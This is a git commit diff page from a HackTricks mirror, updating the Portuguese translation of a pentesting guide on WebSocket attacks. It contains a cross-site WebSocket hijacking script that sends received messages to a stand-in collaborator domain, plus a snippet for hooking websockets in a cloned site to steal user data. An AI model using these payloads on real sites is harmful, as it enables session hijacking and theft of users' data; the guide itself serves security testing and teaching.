mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/websocket-attacks.md'] to pt
This commit is contained in:
parent
06f196cdb9
commit
3ecb483a44
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## O que são WebSockets
|
## O que são WebSockets
|
||||||
|
|
||||||
As conexões WebSocket são estabelecidas através de um **handshake HTTP** inicial e são projetadas para serem **de longa duração**, permitindo a comunicação bidirecional a qualquer momento sem a necessidade de um sistema transacional. Isso torna os WebSockets particularmente vantajosos para aplicações que requerem **baixa latência ou comunicação iniciada pelo servidor**, como fluxos de dados financeiros ao vivo.
|
As conexões WebSocket são estabelecidas através de um **handshake** inicial **HTTP** e são projetadas para serem **de longa duração**, permitindo a troca de mensagens bidirecionais a qualquer momento sem a necessidade de um sistema transacional. Isso torna os WebSockets particularmente vantajosos para aplicações que requerem **baixa latência ou comunicação iniciada pelo servidor**, como fluxos de dados financeiros ao vivo.
|
||||||
|
|
||||||
### Estabelecimento de Conexões WebSocket
|
### Estabelecimento de Conexões WebSocket
|
||||||
|
|
||||||
@ -12,11 +12,11 @@ Uma explicação detalhada sobre o estabelecimento de conexões WebSocket pode s
|
|||||||
```javascript
|
```javascript
|
||||||
var ws = new WebSocket("wss://normal-website.com/ws")
|
var ws = new WebSocket("wss://normal-website.com/ws")
|
||||||
```
|
```
|
||||||
O protocolo `wss` significa uma conexão WebSocket segura com **TLS**, enquanto `ws` indica uma conexão **não segura**.
|
O protocolo `wss` indica uma conexão WebSocket segura com **TLS**, enquanto `ws` indica uma conexão **não segura**.
|
||||||
|
|
||||||
Durante o estabelecimento da conexão, um handshake é realizado entre o navegador e o servidor via HTTP. O processo de handshake envolve o navegador enviando um pedido e o servidor respondendo, como ilustrado nos seguintes exemplos:
|
Durante o estabelecimento da conexão, um handshake é realizado entre o navegador e o servidor via HTTP. O processo de handshake envolve o navegador enviando uma solicitação e o servidor respondendo, como ilustrado nos seguintes exemplos:
|
||||||
|
|
||||||
O navegador envia um pedido de handshake:
|
O navegador envia uma solicitação de handshake:
|
||||||
```javascript
|
```javascript
|
||||||
GET /chat HTTP/1.1
|
GET /chat HTTP/1.1
|
||||||
Host: normal-website.com
|
Host: normal-website.com
|
||||||
@ -42,7 +42,7 @@ A conexão permanece aberta para troca de mensagens em ambas as direções uma v
|
|||||||
- Um valor aleatório codificado em Base64 é enviado no cabeçalho `Sec-WebSocket-Key`, garantindo que cada handshake seja único, o que ajuda a prevenir problemas com proxies de cache. Este valor não é para autenticação, mas para confirmar que a resposta não é gerada por um servidor ou cache mal configurado.
|
- Um valor aleatório codificado em Base64 é enviado no cabeçalho `Sec-WebSocket-Key`, garantindo que cada handshake seja único, o que ajuda a prevenir problemas com proxies de cache. Este valor não é para autenticação, mas para confirmar que a resposta não é gerada por um servidor ou cache mal configurado.
|
||||||
- O cabeçalho `Sec-WebSocket-Accept` na resposta do servidor é um hash do `Sec-WebSocket-Key`, verificando a intenção do servidor de abrir uma conexão WebSocket.
|
- O cabeçalho `Sec-WebSocket-Accept` na resposta do servidor é um hash do `Sec-WebSocket-Key`, verificando a intenção do servidor de abrir uma conexão WebSocket.
|
||||||
|
|
||||||
Esses recursos garantem que o processo de handshake seja seguro e confiável, abrindo caminho para uma comunicação em tempo real eficiente.
|
Essas características garantem que o processo de handshake seja seguro e confiável, abrindo caminho para uma comunicação em tempo real eficiente.
|
||||||
|
|
||||||
### Console Linux
|
### Console Linux
|
||||||
|
|
||||||
@ -67,13 +67,18 @@ Você pode usar a **ferramenta** [**https://github.com/PalindromeLabs/STEWS**](h
|
|||||||
|
|
||||||
### Ferramentas de Depuração de Websocket
|
### Ferramentas de Depuração de Websocket
|
||||||
|
|
||||||
- **Burp Suite** suporta comunicação MitM de websockets de uma maneira muito semelhante à que faz para comunicação HTTP regular.
|
- **Burp Suite** suporta comunicação de websockets MitM de uma maneira muito semelhante à que faz para comunicação HTTP regular.
|
||||||
- A [**extensão socketsleuth**](https://github.com/snyk/socketsleuth) **do Burp Suite** permitirá que você gerencie melhor as comunicações de Websocket no Burp obtendo o **histórico**, definindo **regras de interceptação**, usando regras de **correspondência e substituição**, utilizando **Intruder** e **AutoRepeater.**
|
- A [**socketsleuth**](https://github.com/snyk/socketsleuth) **extensão do Burp Suite** permitirá que você gerencie melhor as comunicações de Websocket no Burp obtendo o **histórico**, definindo **regras de interceptação**, usando regras de **correspondência e substituição**, utilizando **Intruder** e **AutoRepeater.**
|
||||||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abreviação de "**WebSocket/Socket.io Proxy**", esta ferramenta, escrita em Node.js, fornece uma interface de usuário para **capturar, interceptar, enviar mensagens personalizadas** e visualizar todas as comunicações WebSocket e Socket.IO entre o cliente e o servidor.
|
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abreviação de "**WebSocket/Socket.io Proxy**", esta ferramenta, escrita em Node.js, fornece uma interface de usuário para **capturar, interceptar, enviar mensagens personalizadas** e visualizar todas as comunicações WebSocket e Socket.IO entre o cliente e o servidor.
|
||||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) é um **REPL interativo de websocket** projetado especificamente para testes de penetração. Ele fornece uma interface para observar **mensagens de websocket recebidas e enviar novas**, com uma estrutura fácil de usar para **automatizar** essa comunicação.
|
- [**wsrepl**](https://github.com/doyensec/wsrepl) é um **REPL interativo de websocket** projetado especificamente para testes de penetração. Ele fornece uma interface para observar **mensagens de websocket recebidas e enviar novas**, com uma estrutura fácil de usar para **automatizar** essa comunicação.
|
||||||
- [**https://websocketking.com/**](https://websocketking.com/) é uma **web para se comunicar** com outras webs usando **websockets**.
|
- [**https://websocketking.com/**](https://websocketking.com/) é uma **web para se comunicar** com outras webs usando **websockets**.
|
||||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) entre outros tipos de comunicações/protocolos, fornece uma **web para se comunicar** com outras webs usando **websockets.**
|
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) entre outros tipos de comunicações/protocolos, fornece uma **web para se comunicar** com outras webs usando **websockets.**
|
||||||
|
|
||||||
|
## Descriptografando Websocket
|
||||||
|
|
||||||
|
- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
|
||||||
|
- [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)
|
||||||
|
|
||||||
## Laboratório de Websocket
|
## Laboratório de Websocket
|
||||||
|
|
||||||
No [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) você tem um código para lançar uma web usando websockets e em [**este post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) você pode encontrar uma explicação.
|
No [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) você tem um código para lançar uma web usando websockets e em [**este post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) você pode encontrar uma explicação.
|
||||||
@ -82,13 +87,13 @@ No [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Bur
|
|||||||
|
|
||||||
**Sequestro de WebSocket entre sites**, também conhecido como **sequestro de WebSocket de origem cruzada**, é identificado como um caso específico de **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** que afeta os handshakes de WebSocket. Essa vulnerabilidade surge quando os handshakes de WebSocket se autenticam exclusivamente via **cookies HTTP** sem **tokens CSRF** ou medidas de segurança semelhantes.
|
**Sequestro de WebSocket entre sites**, também conhecido como **sequestro de WebSocket de origem cruzada**, é identificado como um caso específico de **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** que afeta os handshakes de WebSocket. Essa vulnerabilidade surge quando os handshakes de WebSocket se autenticam exclusivamente via **cookies HTTP** sem **tokens CSRF** ou medidas de segurança semelhantes.
|
||||||
|
|
||||||
Os atacantes podem explorar isso hospedando uma **página web maliciosa** que inicia uma conexão de WebSocket entre sites com uma aplicação vulnerável. Consequentemente, essa conexão é tratada como parte da sessão da vítima com a aplicação, explorando a falta de proteção CSRF no mecanismo de gerenciamento de sessão.
|
Os atacantes podem explorar isso hospedando uma **página web maliciosa** que inicia uma conexão de WebSocket entre sites para um aplicativo vulnerável. Consequentemente, essa conexão é tratada como parte da sessão da vítima com o aplicativo, explorando a falta de proteção CSRF no mecanismo de gerenciamento de sessão.
|
||||||
|
|
||||||
### Ataque Simples
|
### Ataque Simples
|
||||||
|
|
||||||
Observe que ao **estabelecer** uma conexão de **websocket**, o **cookie** é **enviado** ao servidor. O **servidor** pode estar usando isso para **relacionar** cada **usuário específico** com sua **sessão de websocket com base no cookie enviado**.
|
Observe que ao **estabelecer** uma conexão de **websocket**, o **cookie** é **enviado** para o servidor. O **servidor** pode estar usando isso para **relacionar** cada **usuário específico** com sua **sessão de websocket com base no cookie enviado**.
|
||||||
|
|
||||||
Então, se por **exemplo** o **servidor de websocket** **retorna o histórico da conversa** de um usuário se uma mensagem com "**READY"** for enviada, então um **simples XSS** estabelecendo a conexão (o **cookie** será **enviado** **automaticamente** para autorizar o usuário vítima) **enviando** "**READY**" poderá **recuperar** o histórico da **conversa**.
|
Então, se por **exemplo** o **servidor de websocket** **enviar de volta o histórico da conversa** de um usuário se uma mensagem com "**READY"** for enviada, então um **simples XSS** estabelecendo a conexão (o **cookie** será **enviado** **automaticamente** para autorizar o usuário vítima) **enviando** "**READY**" será capaz de **recuperar** o histórico da **conversa**.
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
websocket = new WebSocket('wss://your-websocket-URL')
|
websocket = new WebSocket('wss://your-websocket-URL')
|
||||||
@ -105,11 +110,11 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
|||||||
```
|
```
|
||||||
### Cross Origin + Cookie com um subdomínio diferente
|
### Cross Origin + Cookie com um subdomínio diferente
|
||||||
|
|
||||||
Neste post do blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), o atacante conseguiu **executar Javascript arbitrário em um subdomínio** do domínio onde a comunicação via web socket estava ocorrendo. Como era um **subdomínio**, o **cookie** estava sendo **enviado**, e como o **Websocket não verificou o Origin corretamente**, foi possível se comunicar com ele e **roubar tokens dele**.
|
Neste post do blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), o atacante conseguiu **executar Javascript arbitrário em um subdomínio** do domínio onde a comunicação do web socket estava ocorrendo. Como era um **subdomínio**, o **cookie** estava sendo **enviado**, e como o **Websocket não verificou o Origin corretamente**, foi possível se comunicar com ele e **roubar tokens dele**.
|
||||||
|
|
||||||
### Roubo de dados do usuário
|
### Roubo de dados do usuário
|
||||||
|
|
||||||
Copie a aplicação web que você deseja imitar (os arquivos .html, por exemplo) e dentro do script onde a comunicação via websocket está ocorrendo, adicione este código:
|
Copie a aplicação web que você deseja impersonar (os arquivos .html, por exemplo) e dentro do script onde a comunicação do websocket está ocorrendo, adicione este código:
|
||||||
```javascript
|
```javascript
|
||||||
//This is the script tag to load the websocket hooker
|
//This is the script tag to load the websocket hooker
|
||||||
;<script src="wsHook.js"></script>
|
;<script src="wsHook.js"></script>
|
||||||
@ -140,11 +145,11 @@ Condições de Corrida em WebSockets também são uma realidade, [verifique esta
|
|||||||
|
|
||||||
## Outras vulnerabilidades
|
## Outras vulnerabilidades
|
||||||
|
|
||||||
Como os Web Sockets são um mecanismo para **enviar dados para o lado do servidor e do cliente**, dependendo de como o servidor e o cliente lidam com as informações, **os Web Sockets podem ser usados para explorar várias outras vulnerabilidades como XSS, SQLi ou qualquer outra vulnerabilidade web comum usando a entrada de um usuário de um websocket.**
|
Como os Web Sockets são um mecanismo para **enviar dados para o lado do servidor e do cliente**, dependendo de como o servidor e o cliente lidam com as informações, **os Web Sockets podem ser usados para explorar várias outras vulnerabilidades, como XSS, SQLi ou qualquer outra vulnerabilidade web comum usando a entrada de um usuário de um websocket.**
|
||||||
|
|
||||||
## **WebSocket Smuggling**
|
## **WebSocket Smuggling**
|
||||||
|
|
||||||
Essa vulnerabilidade pode permitir que você **bypasse as restrições de proxies reversos** fazendo-os acreditar que uma **comunicação websocket foi estabelecida** (mesmo que não seja verdade). Isso pode permitir que um atacante **acesse endpoints ocultos**. Para mais informações, consulte a página a seguir:
|
Essa vulnerabilidade pode permitir que você **bypasse as restrições de proxies reversos** fazendo-os acreditar que uma **comunicação websocket foi estabelecida** (mesmo que não seja verdade). Isso pode permitir que um atacante **acesse endpoints ocultos**. Para mais informações, verifique a página a seguir:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
h2c-smuggling.md
|
h2c-smuggling.md
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user